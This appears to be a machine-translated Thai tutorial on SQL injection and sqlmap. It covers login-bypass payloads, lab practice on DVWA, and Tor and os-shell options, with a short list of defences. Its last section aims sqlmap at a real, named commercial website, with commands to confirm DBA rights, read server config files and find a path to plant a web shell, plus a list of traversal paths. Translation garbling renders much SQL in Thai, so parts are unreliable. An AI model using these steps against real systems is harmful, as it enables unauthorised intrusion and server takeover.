เติมเปลือก. คำแนะนำในการใช้ sqlmap
การแทรก SQL คือการโจมตีที่ใช้ประโยชน์จากคำสั่ง SQL แบบไดนามิกโดยการแสดงความคิดเห็นบางส่วนของคำสั่งหรือเพิ่มเงื่อนไขที่จะเป็นจริงเสมอ โดยกำหนดเป้าหมายช่องโหว่ในสถาปัตยกรรมเว็บแอปพลิเคชันและใช้คำสั่ง SQL เพื่อรันโค้ด SQL ที่เป็นอันตราย:
ในบทความนี้ เราจะดูเทคนิคที่ใช้ในการแทรก SQL และวิธีป้องกันเว็บแอปพลิเคชันจากการโจมตีดังกล่าว
การฉีด SQL ทำงานอย่างไร
ประเภทของการโจมตีที่สามารถทำได้โดยใช้การแทรก SQL จะแตกต่างกันไปตามประเภทของกลไกฐานข้อมูลที่ได้รับผลกระทบ การโจมตีมีเป้าหมายที่คำสั่ง SQL แบบไดนามิก คำสั่งไดนามิกคือคำสั่งที่สร้างขึ้น ณ รันไทม์ตามพารามิเตอร์จากเว็บฟอร์มหรือสตริงการสืบค้น URI
พิจารณาเว็บแอปพลิเคชันธรรมดาที่มีแบบฟอร์มเข้าสู่ระบบ รหัสแบบฟอร์ม HTML อยู่ด้านล่าง:
- แบบฟอร์มยอมรับที่อยู่อีเมล จากนั้นรหัสผ่านจะถูกส่งไปยังไฟล์ PHP ชื่อ index.php;
- เซสชั่นจะถูกเก็บไว้ในคุกกี้ คุณลักษณะนี้เปิดใช้งานโดยการตรวจสอบแฟล็ก Remember_me วิธีการโพสต์ใช้ในการส่งข้อมูล ซึ่งหมายความว่าค่าจะไม่แสดงใน URL
สมมติว่าคำขอตรวจสอบ ID ผู้ใช้บนฝั่งเซิร์ฟเวอร์มีลักษณะดังนี้:
- คำขอใช้ค่าของอาร์เรย์ $_POST โดยตรงโดยไม่ต้องฆ่าเชื้อ
- รหัสผ่านถูกเข้ารหัสโดยใช้อัลกอริทึม MD5
เราจะดูการโจมตีโดยใช้การฉีด SQL sqlfiddle เปิด URL http://sqlfiddle.com/ ในเบราว์เซอร์ของคุณ หน้าต่างต่อไปนี้จะปรากฏขึ้นบนหน้าจอ
หมายเหตุ: คุณจะต้องเขียนคำสั่ง SQL:
ขั้นตอนที่ 1: ป้อนรหัสนี้ในแผงด้านซ้าย:
สร้างตาราง `ผู้ใช้` (`id` INT ไม่เป็นโมฆะ AUTO_INCREMENT, `อีเมล` VARCHAR(45) NULL, `รหัสผ่าน` VARCHAR(45) NULL, คีย์หลัก (`id`)); แทรกลงในค่าผู้ใช้ (อีเมล, รหัสผ่าน) (" [ป้องกันอีเมล],md5("abc"));
ขั้นตอนที่ 2: คลิกปุ่ม สร้างสคีมา».
ขั้นตอนที่ 3: ป้อนรหัสด้านล่างในบานหน้าต่างด้านขวา:
เลือก * จากผู้ใช้;
ขั้นตอนที่ 4: คลิก " เรียกใช้ SQL- คุณจะเห็นผลลัพธ์ต่อไปนี้:
สมมติว่าผู้ใช้ระบุที่อยู่อีเมล [ป้องกันอีเมล]และ 1234 เป็นรหัสผ่าน แบบสอบถามที่จำเป็นต้องดำเนินการบนฐานข้อมูลอาจมีลักษณะดังนี้:
ตัวอย่างโค้ดการแทรก SQL ข้างต้นสามารถข้ามได้โดยการใส่เครื่องหมายความคิดเห็นในส่วนหนึ่งของรหัสผ่านและเพิ่มเงื่อนไขที่จะเป็นจริงเสมอ สมมติว่าผู้โจมตีแทรกข้อมูลต่อไปนี้ลงในช่องที่อยู่อีเมล:
[ป้องกันอีเมล]" หรือ 1 = 1 จำกัด 1 -- " ]
และ xxx ในช่องรหัสผ่าน
คำสั่งไดนามิกที่สร้างขึ้นจะมีลักษณะดังนี้:
- [ป้องกันอีเมล]ลงท้ายด้วยเครื่องหมายคำพูดเดี่ยวซึ่งสิ้นสุดสตริง
- OR 1 = 1 LIMIT 1 เป็นเงื่อนไขที่จะเป็นจริงเสมอ และจำกัดผลลัพธ์ที่ส่งกลับเพียงระเบียนเดียว
0; ' AND ... เป็นความคิดเห็น SQL ที่ไม่รวมส่วนของรหัสผ่าน
คัดลอกแบบสอบถามด้านบนและวางลงในกล่องข้อความ FiddleRun SQL ดังที่แสดงด้านล่าง:
กิจกรรมของแฮ็กเกอร์: การฉีด SQL เข้าสู่เว็บแอปพลิเคชัน
เรามีเว็บแอปพลิเคชันแบบเรียบง่ายที่ http://www.techpanda.org/ ซึ่งสร้างช่องโหว่ให้กับการโจมตีแบบแทรก SQL สำหรับผู้เริ่มต้นโดยเฉพาะเพื่อวัตถุประสงค์ในการสาธิต รหัสแบบฟอร์ม HTML ที่ให้ไว้ข้างต้นนำมาจากหน้าการอนุญาตของแอปพลิเคชันนี้
มีการรักษาความปลอดภัยขั้นพื้นฐาน เช่น การฆ่าเชื้อฟิลด์อีเมล ซึ่งหมายความว่าไม่สามารถใช้โค้ดข้างต้นเพื่อข้ามกลไกนี้ได้
หากต้องการหลีกเลี่ยงสิ่งนี้ คุณสามารถใช้ช่องรหัสผ่านได้ แผนภาพด้านล่างแสดงขั้นตอนที่คุณต้องปฏิบัติตาม:
สมมติว่าผู้โจมตีให้ข้อมูลต่อไปนี้:
ขั้นตอนที่ 1: เข้า [ป้องกันอีเมล]เป็นที่อยู่อีเมล
ขั้นตอนที่ 2: ป้อน xxx’) หรือ 1 = 1 - ] ;
คลิกปุ่ม "ส่ง"
มันจะถูกส่งไปยังแผงการบริหาร แบบสอบถามที่สร้างขึ้นจะมีลักษณะดังนี้:
แผนภาพด้านล่างแสดงวิธีการสร้างคำขอ:
ที่นี่:
- คำขอถือว่าใช้การเข้ารหัส md5
- ใช้เครื่องหมายคำพูดและวงเล็บปิดเดี่ยว
- มีการเพิ่มเงื่อนไขให้กับตัวดำเนินการที่จะเป็นจริงเสมอ
โดยทั่วไปแล้ว ผู้โจมตีจะพยายามใช้วิธีการต่างๆ หลายวิธีในการโจมตีแบบแทรก SQL เพื่อให้บรรลุเป้าหมาย
การโจมตีแบบฉีด SQL ประเภทอื่นๆ
การฉีด SQL อาจทำให้เกิดความเสียหายได้มากกว่าการเข้าสู่ระบบโดยการข้ามกลไกการอนุญาต การโจมตีเหล่านี้บางส่วนอาจ:
- ดำเนินการลบข้อมูล
- ดำเนินการอัปเดตข้อมูล
- เพิ่มข้อมูล
- ดำเนินการคำสั่งบนเซิร์ฟเวอร์ที่จะดาวน์โหลดและติดตั้งโปรแกรมที่เป็นอันตราย
- ส่งออกข้อมูลอันมีค่า เช่น รายละเอียดบัตรเครดิต อีเมล และรหัสผ่านไปยังเซิร์ฟเวอร์ระยะไกลของผู้โจมตี
รายการข้างต้นไม่สมบูรณ์ มันเพียงแค่ให้แนวคิดเกี่ยวกับอันตรายจากการฉีด SQL
เครื่องมือสำหรับการฉีด SQL อัตโนมัติ
ในตัวอย่างข้างต้น เราใช้วิธีการโจมตีด้วยตนเอง ก่อนที่คุณจะดำเนินการฉีด SQL คุณต้องเข้าใจว่ามีเครื่องมืออัตโนมัติที่ช่วยให้คุณสามารถโจมตีได้อย่างมีประสิทธิภาพและรวดเร็วยิ่งขึ้น:
- SQLSmack ;
- SQLPing 2 ;
- SQLMap.
วิธีป้องกันการแทรก SQL
ต่อไปนี้เป็นกฎง่ายๆ บางประการในการป้องกันการโจมตีแบบแทรก SQL:
ข้อมูลของผู้ใช้ไม่ควรเชื่อถือ- จำเป็นต้องได้รับการฆ่าเชื้อเสมอก่อนที่จะใช้ข้อมูลในการดำเนินการ SQL แบบไดนามิก
ขั้นตอนการจัดเก็บ- พวกเขาสามารถสรุปแบบสอบถาม SQL และประมวลผลข้อมูลอินพุตทั้งหมดเป็นพารามิเตอร์
แบบสอบถามที่เตรียมไว้- การสืบค้นจะถูกสร้างขึ้นก่อน จากนั้นข้อมูลผู้ใช้ที่ให้มาทั้งหมดจะถูกประมวลผลเป็นพารามิเตอร์ ซึ่งไม่มีผลกระทบต่อไวยากรณ์คำสั่ง SQL
นิพจน์ทั่วไป- สามารถใช้เพื่อตรวจจับโค้ดที่อาจเป็นอันตรายและลบออกก่อนที่จะรันคำสั่ง SQL
สิทธิ์การเข้าถึงเพื่อเชื่อมต่อกับฐานข้อมูล- ถึง ป้องกันการฉีด SQLบัญชีที่ใช้เชื่อมต่อกับฐานข้อมูลควรได้รับสิทธิ์การเข้าถึงที่จำเป็นเท่านั้น ซึ่งจะช่วยจำกัดการดำเนินการที่คำสั่ง SQL สามารถทำได้บนเซิร์ฟเวอร์
ข้อความแสดงข้อผิดพลาด- ต้องไม่เปิดเผยข้อมูลที่เป็นความลับ ข้อความแสดงข้อผิดพลาดที่กำหนดเองอย่างง่าย เช่น " ขออภัย มีข้อผิดพลาดทางเทคนิค ทีมสนับสนุนได้รับแจ้งเกี่ยวกับเรื่องนี้แล้ว โปรดลองอีกครั้งในภายหลัง" สามารถใช้แทนการแสดงคำสั่ง SQL ที่ทำให้เกิดข้อผิดพลาดได้
SQL Injection เป็นการโจมตีประเภทหนึ่งที่ผู้โจมตีแก้ไขตรรกะการสืบค้น SQL ของเว็บแอปพลิเคชัน ทำให้เขาสามารถอ่าน/แก้ไข/ลบค่าในฐานข้อมูล และบางครั้งก็รันโค้ดที่กำหนดเองบนฝั่งเซิร์ฟเวอร์ บทความนี้จะกล่าวถึงยูทิลิตี้ sqlmap ยอดนิยมสำหรับการดำเนินการฉีด SQL
ในขณะนี้ ช่องโหว่ประเภทนี้ถือเป็นช่องโหว่ที่อันตรายที่สุดเท่าที่จะเป็นไปได้ เป็นเวลา 7 ปีแล้วที่กลุ่มผลิตภัณฑ์ชั้นนำของ "OWASP TOP-10" นำโดยการฉีด SQL
มี 5 สาเหตุหลักสำหรับช่องโหว่นี้:
- ไม่เพียงพอหรือขาดการตรวจสอบความถูกต้องของพารามิเตอร์อินพุต โดยเฉพาะอินพุตของผู้ใช้ “พารามิเตอร์อินพุตใด ๆ เป็นสิ่งชั่วร้าย”
- การเข้าถึงฐานข้อมูลที่ไม่สมเหตุสมผลและได้รับการป้องกันอย่างอ่อนแอ หมวดหมู่นี้ประกอบด้วยปัจจัยต่างๆ เช่น ผู้ดูแลระบบและผู้ใช้ระดับสูง (รูท) จำนวนมาก ระบบการตรวจสอบสิทธิ์ที่อ่อนแอ สิทธิ์จำนวนมากสำหรับผู้ดูแลระบบรอง เป็นต้น
- สถาปัตยกรรม. การใช้เทคโนโลยีที่ล้าสมัย ขาดมาตรการควบคุม ละเลยวิธีการ "สร้างแบบจำลองภัยคุกคาม"
- พันธุกรรมของโค้ดที่มีช่องโหว่อย่างเห็นได้ชัด การใช้โซลูชันสำเร็จรูปที่มีระดับความปลอดภัยต่ำ
- ขาดระดับที่เหมาะสมของนามธรรมของรหัสปฏิบัติการจากข้อมูล
SQLMap.
ประเภทของการฉีด SQL
มาดูประเภทของการฉีด SQL ที่ถูกใช้ประโยชน์จากยูทิลิตี้ SQLMap:
- การฉีด SQL แบบ Blind ที่ใช้บูลีน
- วิธีการร้องขอ HTTP และการตอบกลับจะอ่านทีละตัวอักษรเพื่อตรวจหาช่องโหว่
- เมื่อตรวจพบพารามิเตอร์ที่มีช่องโหว่ SQLMap จะแทนที่หรือเพิ่มคำสั่ง SQL ที่ถูกต้องทางไวยากรณ์ในขณะที่รอให้เซิร์ฟเวอร์ตอบสนองโดยการรันโค้ดนั้น
- SQLMap เปรียบเทียบคำขอเดิมที่ถูกต้องกับการตอบสนองจากคำขอที่มีโค้ดอันตรายฝังอยู่
- SQLMap ใช้อัลกอริทึมการแบ่งส่วน ( แบ่งเป็นสองส่วน อัลกอริทึม) เพื่อดึงอักขระแต่ละตัวของการตอบกลับโดยใช้คำขอ HTTP สูงสุดเจ็ดคำขอ
- ในกรณีที่ไม่ได้ให้คำตอบเป็นข้อความล้วน SQLMap จะปรับอัลกอริทึมด้วยค่าที่มากกว่าเพื่อกำหนดคำตอบ
- การฉีด SQL แบบตาบอดตามเวลา
- วิธีการตามเวลานั้นถือว่ามีการเปรียบเทียบตามเวลาร้องขอและเวลาตอบสนองโดยการแทรกคำสั่ง SQL ที่ถูกต้องตามหลักไวยากรณ์ลงในพารามิเตอร์ที่มีช่องโหว่
- SQLMap ใช้คำสั่ง SQL ที่ทำให้ฐานข้อมูลถูกพักไว้เพื่อส่งคืนตามระยะเวลาที่กำหนด
- การใช้อัลกอริธึมแบบแบ่งส่วนเดียวกันเพื่อส่งออกอักขระทีละอักขระ SQLMap จะเปรียบเทียบเวลาตอบสนอง HTTP กับคำขอดั้งเดิม
- การฉีด SQL แบบอิงข้อผิดพลาด
- SQLMap ใช้คำสั่ง SQL ที่อาจทำให้เกิดข้อผิดพลาดเฉพาะได้
- โปรแกรมอรรถประโยชน์นี้ค้นหาข้อผิดพลาดในการตอบสนอง HTTP ของเซิร์ฟเวอร์
- วิธีการนี้จะใช้งานได้ก็ต่อเมื่อมีการกำหนดค่าแอปพลิเคชันเว็บให้เปิดเผยข้อความแสดงข้อผิดพลาด
- แบบสอบถามยูเนี่ยน
- ป้อนคำสั่ง SQL ยูเนี่ยนเลือกทั้งหมด .
- การแทรก SQL ตามคำสั่ง UNION ทำงานตามพฤติกรรมของแอปพลิเคชัน เช่น เมื่อแอปพลิเคชันส่งผลลัพธ์ของการสืบค้น SELECT ที่เขียนผ่านการวนซ้ำหรือบรรทัดคำสั่งเฉพาะที่อนุญาตให้เขียนเอาต์พุตไปยังเนื้อหาของเพจ
- ในกรณีที่เอาต์พุตไม่ได้วนซ้ำผ่านลูปใดๆ สำหรับหรือสตริงคำสั่งอื่นๆ SQLMap ใช้การฉีดคิวรี UNION เพียงครั้งเดียว
- แบบสอบถามแบบซ้อน
- การใช้แบบสอบถามแบบพับ SQLMap เพิ่มอัฒภาค (;) ให้กับค่าของพารามิเตอร์ที่ได้รับผลกระทบ และเพิ่มคำสั่ง SQL ที่ต้องดำเนินการ
- เมื่อใช้เทคนิคนี้ คุณสามารถดำเนินการคำสั่ง SQL อื่นที่ไม่ใช่ SELECT ได้ สิ่งนี้มีประโยชน์สำหรับการจัดการข้อมูล การเข้าถึงแบบอ่านและเขียน และในที่สุดก็ถูกบันทึกโดยระบบปฏิบัติการ
- นอกวง
- วิธีการนี้ใช้ช่องทางการสื่อสารรองหรืออื่น ๆ เพื่อแสดงผลลัพธ์ของการสอบถามที่ทำงานบนแอปพลิเคชันที่ได้รับผลกระทบ
- ตัวอย่างเช่น การแทรกเสร็จสิ้นในเว็บแอปพลิเคชันและช่องทางรอง เช่น แบบสอบถาม DNSใช้เพื่อส่งต่อข้อมูลกลับไปยังโดเมนของผู้โจมตี
การใช้งาน SQLMap เบื้องต้น
เรียกใช้ยูทิลิตี้ (ต้องอยู่ในตัวแปรเส้นทาง ):
$sqlmap
หรือจากไดเร็กทอรียูทิลิตี้:
$หลาม sqlmap.py
กุญแจถูกใช้เพื่อเรียกเอกสาร «- ชม. / — ช่วย »:
$ sqlmap --help $ หลาม sqlmap.py –help
การดำเนินการของคีย์ SQLMap ขึ้นอยู่กับสิ่งที่ผู้โจมตีต้องการบรรลุผลอย่างแท้จริง รายการพื้นฐานของการดำเนินการ SQLMap มีลักษณะดังนี้:
- แสดงรายการข้อมูลฐานข้อมูล เช่น ชื่อ เวอร์ชัน และรายละเอียดอื่นๆ
- เลือกฐานข้อมูลเฉพาะเพื่อแสดงข้อมูลเกี่ยวกับตารางที่มีอยู่
- เลือกตารางและแสดงรายการข้อมูลคอลัมน์
- เลือกคอลัมน์และแสดงรายการแถวเพื่อดึงค่า
- การแสวงหาผลประโยชน์ต่อไป
ฝึกฝน.
สำหรับการฝึกภาคปฏิบัติเราจะใช้ สาปแช่ง เปราะบาง เว็บ แอปพลิเคชัน (ดีวีดับบลิวเอ หรือ "แอปพลิเคชันเว็บที่มีช่องโหว่")
ดีวีดับบลิวเอ – เป็นเว็บแอปพลิเคชันฟรีที่สร้างจากเทคโนโลยี เช่น PHP และ MySQL ซึ่งออกแบบมาเพื่อฝึกทักษะการทดสอบแบบเจาะลึก
ตอนนี้เราสนใจแค่การฉีดยาเท่านั้น แต่โดยทั่วไป คุณสามารถทดสอบความสามารถของคุณในช่องโหว่อื่น ๆ ที่สร้างขึ้นตามทางการ OWASP สูงสุด -10 .
ป.ล.: แนวทางปฏิบัตินี้ถือว่าคุณมีความรู้เกี่ยวกับพื้นฐานของ Linux ภาษาอังกฤษระดับเริ่มต้น และความสามารถในการใช้ Google (หากคุณไม่มีทักษะข้างต้น)
การติดตั้ง:
- ดาวน์โหลดใบสมัครและปฏิบัติตามคำแนะนำ
- เปลี่ยนระดับความยากเป็นต่ำ
- เราสนใจเฉพาะแท็บ "การแทรก SQL" เท่านั้น
ข้อมูลเริ่มต้น:
- เว็บเซิร์ฟเวอร์บนเครือข่ายส่วนตัว
- URL ที่มีช่องโหว่: http:// ของคุณ — เจ้าภาพ . ดอทคอม /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
- พารามิเตอร์ที่มีช่องโหว่: รหัส
มาเริ่มกันเลย:
- เรายืนยันความพร้อมSQL การฉีด:
คำอธิบายของคำสั่ง:
— url – URL ที่มีพารามิเตอร์ที่มีช่องโหว่ สิ่งสำคัญคือต้องทราบว่าตัวแปรสำหรับคีย์นี้เขียนด้วยเครื่องหมายคำพูด เนื่องจาก URL ที่กำลังตรวจสอบมีพารามิเตอร์ที่ส่งผ่านมากกว่าหนึ่งรายการ มิฉะนั้น คุณสามารถเพิกเฉยต่อเครื่องหมายคำพูดและใช้คีย์เวอร์ชันสั้นได้ “- คุณ ” โดยไม่มีเครื่องหมายเท่ากัน .
- คุกกี้ – คุกกี้เซสชันสำหรับการเข้าถึงโดยตรงระหว่างการโจมตี (คีย์เสริม)
บทสรุป:
การวิเคราะห์:
- แอปพลิเคชันมีความเสี่ยงต่อการฉีด SQL
- ประเภทการฉีด - แบบสอบถาม UNION
- ฐานข้อมูลส่วนหลัง (DBMS) – MySQL5
- รายละเอียดทางเทคนิคของระบบปฏิบัติการ - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
- เราแสดงรายการชื่อของฐานข้อมูล:
คำอธิบายของคำสั่ง:
—dbs – คีย์สำหรับแสดงรายการฐานข้อมูลที่มีอยู่
บทสรุป:
การวิเคราะห์: SQLMap แสดงรายการฐานข้อมูลที่มีอยู่ (ทั้งหมด 7 รายการ)
- เราแสดงรายการชื่อของตาราง (DB -ดีวา ):
คำอธิบายของคำสั่ง:
-D – ระบุฐานข้อมูลที่เราสนใจ
--tables – แสดงรายการตารางที่มีอยู่ในฐานข้อมูล
บทสรุป:
การวิเคราะห์:ดังที่เราเห็น SQLMap แสดงรายการชื่อของ 2 ตารางในฐานข้อมูลได้สำเร็จ ดีวา .
- รายการชื่อคอลัมน์ตารางเพิ่มเติม “ผู้ใช้ ”:
คำอธิบายของคำสั่ง:
-T – ระบุตารางที่เราสนใจ
—คอลัมน์ – แสดงรายการคอลัมน์ที่มีอยู่ในตาราง
บทสรุป:
การวิเคราะห์:ดังที่เราเห็น SQLMap แสดงรายการชื่อของ 6 คอลัมน์ในตารางได้สำเร็จ ผู้ใช้, bd ดีวา .
- เราแสดงรายการ/ดึงค่าจากตาราง “ผู้ใช้ ”:
คำอธิบายของคำสั่ง:
C – ระบุคอลัมน์ที่เราสนใจ
--dump – ดัมพ์ค่าจากคอลัมน์ที่อยู่ในรายการ
บทสรุป:
การวิเคราะห์:จากการตอบสนองของ SQLMap เราสังเกตประเด็นต่อไปนี้:
- SQLMap ดึงข้อมูลบันทึกจากคอลัมน์ที่ระบุ จากนั้นวิเคราะห์ข้อมูลที่อยู่ในคอลัมน์เหล่านั้น
- เมื่อข้อมูลได้รับการยอมรับว่าเป็นรหัสผ่านแฮชที่เป็นไปได้ SQLMap จะพยายามถอดรหัสแฮชโดยใช้อัลกอริธึมการแฮชต่างๆ
- ในกรณีนี้ แฮชคือ MD5 ดังนั้นด้วยเทคนิคแฮชแรกที่เครื่องมือใช้ จึงสามารถถอดรหัสแฮชได้สำเร็จและสร้างการตอบสนองที่มีรูปแบบที่ดี
- นอกจากนี้ เครื่องมือยังบันทึกรายการที่อยู่ในรูปแบบไฟล์ “.csv” เพื่อใช้ในอนาคต ดังนั้นคุณไม่จำเป็นต้องถ่ายโอนข้อมูลลงในไฟล์ข้อความหรือถ่ายภาพหน้าจอ SQLMap จะจัดการเรื่องนั้นเอง
- การใช้ประโยชน์และการครอบครองเซิร์ฟเวอร์เพิ่มเติม (งูเห่า. ไม่รวมอยู่ด้วยดีวีดับบลิวเอ ):
คำอธิบายของคำสั่ง:
—data – ระบุพารามิเตอร์สำหรับการทดสอบที่ส่งไปในคำขอ POST
—os —shell – ปุ่มพิเศษสำหรับการพยายามใช้ประโยชน์จากคอนโซลเซิร์ฟเวอร์ผ่านการแทรก SQL
บทสรุป:
การวิเคราะห์:จากการตอบสนองของ SQLMap เราสังเกตประเด็นต่อไปนี้:
- หลังจากยืนยันและใช้ประโยชน์จากการฉีด SQL แล้ว SQLMap จะตรวจสอบว่าผู้ใช้เป็น DBA (ผู้ดูแลฐานข้อมูล) หรือไม่
- เครื่องมือดังกล่าวพยายามใช้ขั้นตอนการจัดเก็บแบบขยาย - "xp_cmdshell" ซึ่งมักใช้โดย SQL Server 2000
- "xp_cmdshell" ใช้เพื่อดำเนินการบรรทัดคำสั่งที่กำหนดเป็นคำสั่งของระบบปฏิบัติการ ในทางกลับกัน ผลลัพธ์ที่ได้จะเป็นข้อความมาตรฐาน
ประโยชน์ของการเข้าถึงระบบในระดับที่ลึกยิ่งขึ้น:
- การเข้าถึงข้อมูลรับรองผู้ใช้หรือแฮชรหัสผ่าน
- เชลล์แบบโต้ตอบที่จะช่วยให้คุณสามารถอัพโหลดหรือดาวน์โหลดไฟล์จากเซิร์ฟเวอร์
- รันคำสั่งแกน (OS) เพื่อสำรวจเครือข่ายภายใน
- ความสามารถในการดาวน์โหลดมัลแวร์
- การแสวงหาประโยชน์เพิ่มเติมโดยใช้ Metasploit Framework
- การสร้างและต่อเติมประตูหลัง
แนวทางปฏิบัติที่ดีที่สุดและการใช้งานขั้นสูง.
- SQLMap
และสบู่
(เรียบง่าย
วัตถุ
เข้าถึง
โปรโตคอล
) คำขอ:กระบวนการแยกวิเคราะห์คำขอ SOAP ค่อนข้างง่าย:
- บันทึกคำขอ SOAP ของคุณ
- บันทึกลงในไฟล์ข้อความพร้อมกับพารามิเตอร์ที่มีช่องโหว่ที่เป็นไปได้
- ใช้คำสั่งด้านล่างสำหรับ SQLMap พร้อมกับตัวเลือก -p หากคุณทราบพารามิเตอร์ที่มีช่องโหว่:
- SQLMap จะแยกวิเคราะห์คำขอ SOAP โดยอัตโนมัติและพยายามเจาะพารามิเตอร์ที่มีช่องโหว่
- SQLMap และเจสัน (จาวาสคริปต์ วัตถุ สัญกรณ์ ) คำขอ:ในสถานการณ์ที่คล้ายกันสำหรับการใช้ SQLMap สำหรับการสืบค้น SOAP การสืบค้น JSON ยังสามารถวิเคราะห์และใช้ประโยชน์ได้ สำหรับประเภทการสืบค้น JSON นั้น SQLMap จะแจ้งให้คุณใช้ประโยชน์จากช่องโหว่โดยการตรวจจับประเภทการสืบค้น JSON ใน "ไฟล์การสืบค้น" เมื่อคุณตอบว่าใช่ เครื่องมือจะวิเคราะห์คำขอและเลือกเวกเตอร์การโจมตีของตัวเอง
- SQLMap และพร็อกซีเซิร์ฟเวอร์:โดยทั่วไปเครือข่ายประเภทองค์กรจะได้รับการรักษาความปลอดภัยและตรวจสอบโดยใช้พร็อกซีที่มีการควบคุมสำหรับการรับส่งข้อมูลขาเข้าหรือขาออกทั้งหมด ในกรณีเช่นนี้ คุณมีตัวเลือกในการเพิ่มตัวเลือกพร็อกซีโดยตรงไปยังตัวเลือก SQLMap เพื่อสื่อสารกับ URL เป้าหมาย แม้ว่า SQLMap จะเป็นเครื่องมือบรรทัดคำสั่ง แต่จะสื่อสารผ่านโปรโตคอล HTTP ดังนั้นหากคุณตั้งค่าพร็อกซี HTTP สำหรับการเชื่อมต่ออินเทอร์เน็ตที่เกี่ยวข้อง SQLMap จะถือเป็นพื้นฐาน:
- SQLMap และวัฟ (เว็บ แอปพลิเคชัน ไฟร์วอลล์ ): WAF เป็นชั้นการป้องกันเพิ่มเติมสำหรับเว็บแอปพลิเคชัน ทำให้การวิเคราะห์และการดำเนินการมีความซับซ้อนมากขึ้นโดยใช้วิธีมาตรฐานที่มีอยู่ใน SQLMap เพื่อจุดประสงค์นี้จึงมีฟังก์ชัน "tamper -script" ซึ่งช่วยให้ทำงานกับเว็บแอปพลิเคชันที่อยู่ด้านหลัง WAF ได้ง่ายขึ้นมาก
- SQLMap
และการไม่เปิดเผยตัวตน:หากคุณต้องการซ่อนข้อมูลประจำตัวของคุณและทำให้แอปพลิเคชันเป้าหมายไม่เปิดเผยตัวตน คุณสามารถใช้พร็อกซีเซิร์ฟเวอร์ TOR (The Onion Router) ได้ ใน SQLMap คุณสามารถกำหนดค่าพร็อกซี TOR เพื่อซ่อนแหล่งที่มาของการรับส่งข้อมูลหรือคำขอที่ถูกสร้างขึ้นด้วยคีย์ต่อไปนี้:
- — ทอร์ – การสลับยูทิลิตี้เป็นโหมดพร็อกซี TOR
- — — ทอร์ — พิมพ์ – การกำหนดค่าโปรโตคอลพร็อกซี TOR ด้วยตนเอง (HTTP /SOCKS 4/4a /5)
- — — ตรวจสอบ — ทอร์ – ตรวจสอบการทำงานของพร็อกซี TOR
เอาล่ะเข้าเรื่อง:
สปอยเลอร์: เติมเปลือก
เรามี SQL Injection บนไซต์ที่มีลักษณะดังนี้:
คุณต้องลงทะเบียนเพื่อดูลิงก์
สิ่งแรกที่เราต้องการทำคือตรวจสอบว่าเรามีสิทธิ์เขียนไฟล์บนทรัพยากรที่ถูกโจมตีหรือไม่ โดยโหลดเทอร์มินัลแล้วออกคำสั่งต่อไปนี้:
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --แบนเนอร์ --current-db --current-user --is-dba
คลิก เข้าและการวิเคราะห์ SQL Injection ของเราก็เริ่มต้นขึ้น รายงานจะมีลักษณะดังนี้:
ดังที่คุณเห็นในรายงาน มีการเขียนเวอร์ชันของ Apache, เวอร์ชันของ MySQL และเวอร์ชันของระบบปฏิบัติการที่ติดตั้งบนเซิร์ฟเวอร์ ทั้งหมดนี้จะเป็นประโยชน์สำหรับเราในอนาคต แต่ที่สำคัญที่สุดคือคุณจะเห็นได้ว่า เรามีสิทธิเขียนไฟล์ได้ โดยแสดงในบรรทัด Current User is DBA: True
ขั้นตอนต่อไปสำหรับเราคือการหาเส้นทางเพื่อบันทึกเปลือกของเรา เราสามารถรับเส้นทางไปยังเว็บไซต์ของเราบนเซิร์ฟเวอร์ได้โดยการดาวน์โหลดไฟล์ httpd.conf- เราได้รับข้อมูลเกี่ยวกับตำแหน่งของไฟล์ httpd.conf โดยใช้ Google คุณสามารถค้นหาตามเวอร์ชันของระบบปฏิบัติการที่ติดตั้งหรือตามรายการเส้นทางที่เป็นไปได้มากที่สุด โดยทั่วไปฉันจะไม่เจาะลึกในการท่องเสิร์ชเอ็นจิ้นเพียงเมื่อคุณพบตำแหน่งที่เป็นไปได้มากที่สุดของเส้นทางไปยังไฟล์แล้วก็ถึงเวลาดาวน์โหลดไฟล์เดียวกันนี้ลงในดิสก์ของคุณโดยทำสิ่งนี้โดยป้อนข้อมูลต่อไปนี้ คำสั่งและขอให้อ่านไฟล์บนเซิร์ฟเวอร์:
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf
โปรดทราบทันทีว่าการค้นหาไฟล์กำหนดค่านี้เป็นไปไม่ได้เสมอไปในครั้งแรก ดังนั้นคุณจึงใช้เส้นทางที่เป็นไปได้มากที่สุดว่าไฟล์นี้อาจอยู่ที่ใด:
รายการเส้นทางที่เป็นไปได้ไปยังไฟล์กำหนดค่า:
../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ ท้องถิ่น/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf
เราได้รับรายงานจาก sqlmap ในรูปแบบต่อไปนี้:
